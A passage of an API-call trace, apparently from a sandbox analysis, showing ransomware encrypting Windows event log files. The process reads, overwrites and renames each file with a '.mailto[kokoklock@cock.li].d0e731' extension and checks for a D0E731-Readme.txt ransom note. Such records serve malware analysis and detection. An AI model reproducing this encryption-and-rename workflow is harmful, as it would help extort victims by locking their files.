lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.324] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0063.324] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.324] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.324] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.324] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0063.325] RtlExitUserThread (Status=0x1) Thread: id = 170 os_tid = 0x1120 [0063.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0063.326] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", dwFileAttributes=0x20) returned 1 [0063.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.326] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa12f748 | out: lpFileSize=0xa12f748*=69632) returned 1 [0063.326] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.326] ReadFile (in: hFile=0x3b8, lpBuffer=0xa12f71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0xa12f71c*, lpNumberOfBytesRead=0xa12f718*=0x4, lpOverlapped=0x0) returned 1 [0063.328] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf60 [0063.328] NtQuerySystemTime (in: CurrentTime=0xa12f6f4 | out: CurrentTime=0xa12f6f4*=132121176212215094) returned 0x0 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xcccc7cbf [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x6eb4bfda [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x45f3eef6 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x331fc178 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x784fcc55 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xe19b47e8 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xe5a8f974 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xc84fde84 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xbf8d72fb [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x4c5ef68d [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x477966c2 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xa5243149 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xa445e291 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xaac352c8 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x55ba4b1b [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xa9550696 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xf1866381 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x27d6c022 [0063.328] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xebda6788 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xe06ee48e [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xbcbbe835 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xf5b8fc1b [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x32ac1741 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x49457312 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x2720d938 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xaa936015 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x4f2757ab [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x28790c0b [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xc8c88ce9 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xb88e965d [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0xcf8eee71 [0063.329] RtlRandom (in: Seed=0xa12f700 | out: Seed=0xa12f700) returned 0x5a0b76 [0063.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.340] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.340] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa12f6cc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa12f6cc*=0x4096, lpOverlapped=0x0) returned 1 [0063.340] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.341] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa12f6cc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa12f6cc*=0x4096, lpOverlapped=0x0) returned 1 [0063.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.341] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.341] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa12f704, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0xa12f704*=0x20, lpOverlapped=0x0) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0xa12f718*=0x8, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0xa12f730*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0xa12f730*, lpNumberOfBytesWritten=0xa12f718*=0x4, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa12f718*=0x4, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa12f718*=0x6c, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa12f718*=0x20, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa12f718, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa12f718*=0x4, lpOverlapped=0x0) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.342] CloseHandle (hObject=0x3b8) returned 1 [0063.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3818 [0063.345] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" [0063.345] wcscat (in: _Dest=0x33e3818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0063.345] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.346] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0063.346] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", dwFileAttributes=0x20) returned 0 [0063.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.346] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.346] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.346] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0063.346] RtlExitUserThread (Status=0x1) Thread: id = 171 os_tid = 0x1124 [0063.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0063.348] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.348] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa1aff34 | out: lpFileSize=0xa1aff34*=69632) returned 1 [0063.348] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.348] ReadFile (in: hFile=0x3b8, lpBuffer=0xa1aff08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0xa1aff08*, lpNumberOfBytesRead=0xa1aff04*=0x4, lpOverlapped=0x0) returned 1 [0063.349] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.350] NtQuerySystemTime (in: CurrentTime=0xa1afee0 | out: CurrentTime=0xa1afee0*=132121176212371463) returned 0x0 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xdfef80a6 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x29d6dde2 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x1cc2fcb4 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xe6637842 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xd0ec6c1c [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xe297f9e4 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x14428127 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x6c0c2011 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xab042b87 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x7f0bf907 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x8c6701af [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x5da7874d [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x79042511 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x3ed80bc9 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xd3c64c4c [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x8d21d1e9 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x83cc202e [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xcb9afeaf [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x56f5cf7e [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xf229b6b5 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x4333869b [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xf6c98fee [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xe9b4e439 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xd42f0b25 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xdded2080 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x4e7ec423 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x9261bb94 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xec535229 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x9db84ef6 [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x4f2a109c [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0x2a39d7cc [0063.350] RtlRandom (in: Seed=0xa1afeec | out: Seed=0xa1afeec) returned 0xedee481f [0063.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.361] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.362] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa1afeb8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa1afeb8*=0x4096, lpOverlapped=0x0) returned 1 [0063.362] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.363] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa1afeb8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa1afeb8*=0x4096, lpOverlapped=0x0) returned 1 [0063.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.363] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.363] WriteFile (in: hFile=0x3b8, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa1afef0, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0xa1afef0*=0x20, lpOverlapped=0x0) returned 1 [0063.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0xa1aff04*=0x8, lpOverlapped=0x0) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0xa1aff1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0xa1aff1c*, lpNumberOfBytesWritten=0xa1aff04*=0x4, lpOverlapped=0x0) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa1aff04*=0x4, lpOverlapped=0x0) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa1aff04*=0x6c, lpOverlapped=0x0) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa1aff04*=0x20, lpOverlapped=0x0) returned 1 [0063.364] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa1aff04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa1aff04*=0x4, lpOverlapped=0x0) returned 1 [0063.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.364] CloseHandle (hObject=0x3b8) returned 1 [0063.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3818 [0063.367] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" [0063.367] wcscat (in: _Dest=0x33e3818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.367] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.368] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0063.368] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.368] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.368] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.368] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.369] RtlExitUserThread (Status=0x1) Thread: id = 172 os_tid = 0x1128 [0063.370] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0063.371] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", dwFileAttributes=0x20) returned 1 [0063.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.371] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa22fda8 | out: lpFileSize=0xa22fda8*=69632) returned 1 [0063.371] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 